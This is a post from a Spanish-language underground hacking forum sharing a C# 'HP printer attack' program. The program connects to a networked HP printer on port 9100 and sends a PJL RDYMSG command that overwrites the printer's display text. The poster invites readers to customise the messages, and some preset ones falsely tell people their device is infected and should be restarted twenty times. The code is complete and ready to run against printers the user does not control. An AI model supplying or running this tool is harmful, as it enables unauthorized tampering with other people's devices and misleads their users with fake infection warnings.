Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse. - Julio 04, 2008, 04:13:42
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: Ataque a impresora HP [C#] 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ataque a impresora HP [C#]  (Leído 97 veces)
rukawa
Visitante
« en: Diciembre 10, 2007, 10:33:35 »

Ataque a impresora HP [C#]

Este es un codigo sencillo no se quien es el creador original.

Funciona para impresoras HP

Yo solo modifique algunas partes como los mensajes que se imprimiran etc.

Los mensajes cada uno lo puede cambiar a su gusto.


namespace hphack
{
  using System;
  using System.Text;
  using System.Net;
  using System.Net.Sockets;

  public class PrnHack
  {
    public static int Main(string[] args)
    {
      if(!ParseArgs(args))
      {
        return -1;
      }
           
      Console.WriteLine("\nHP Display Hack");
      Console.WriteLine("Host: {0}", args[0]);
      Console.WriteLine("Message: {0}\n", message);
           
      IPEndPoint ipEndPoint;
      ipEndPoint = new IPEndPoint( Dns.Resolve(args[0]).AddressList[0], PJL_PORT);

      Console.WriteLine("Host is {0}", ipEndPoint.ToString());

      Socket socket;
      socket = new Socket(
                        AddressFamily.InterNetwork, 
                        SocketType.Stream,
                        ProtocolType.Tcp
                     );

      socket.Connect(ipEndPoint);

      byte [] sendData;
      string sendString;

      sendString = String.Format(
                "\x1B%-12345X  @PJL RDYMSG DISPLAY = \"{0}\"\r\n\x1B%-12345X\r\n",
                message
           );

      sendData = Encoding.ASCII.GetBytes(sendString);
               
      int result;
      result = socket.Send(sendData, sendData.Length, 0);

      if(result == 0)
      {
        Console.WriteLine("Could not send on socket");
      }
       
      socket.Close();
       
      Console.WriteLine("Finished\n\n");
      return 0;
    }

 

    protected static bool ParseArgs(string[] args)
    {
      if(args.Length != 2)
      {
        Console.WriteLine(
                  "HP Display Hack: " +
                  "hphack printername \"message\" "
            );
        return false;
      }

      if(args[1].Length > 16)
      {
        Console.WriteLine("Message must be <= 16 characters");
        return false;
      }
       
      if(args[1].CompareTo("random") == 0)
      {
        message = GetRandomMessage();
      }
      else
      {
        message = args[1];
      }

      return true;
    }


    public static string GetRandomMessage()
    {
      string [] Messages = {
                             "SIDVICIOUS",
                             "LOVES YOU",
                             "OK",
                             "LEAVE BRITNEY ALONE",
                             "SE LO QUE HICISTE EL VERANO PASADO",
                             "ESTAS INFECTADO ",
                             "REINICIA 20 VECES SI QUIERES DESINFECTARTE",
                             "JAJAJA  NO EN REALIDAD NO ",

                            " PUEDEN PONER MAS MENSAJES ES SEGUN SU CREATIVIDAD ",
      };


      Random r = new Random();
      return Messages[r.Next() % Messages.Length];
    }

    protected const int PJL_PORT = 9100;
    protected static string message = "NO MESSAGE";
       
  }
}



salud
« Última modificación: Diciembre 10, 2007, 10:34:13 por SιdVιcιoцs » En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: Ataque a impresora HP [C#] « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC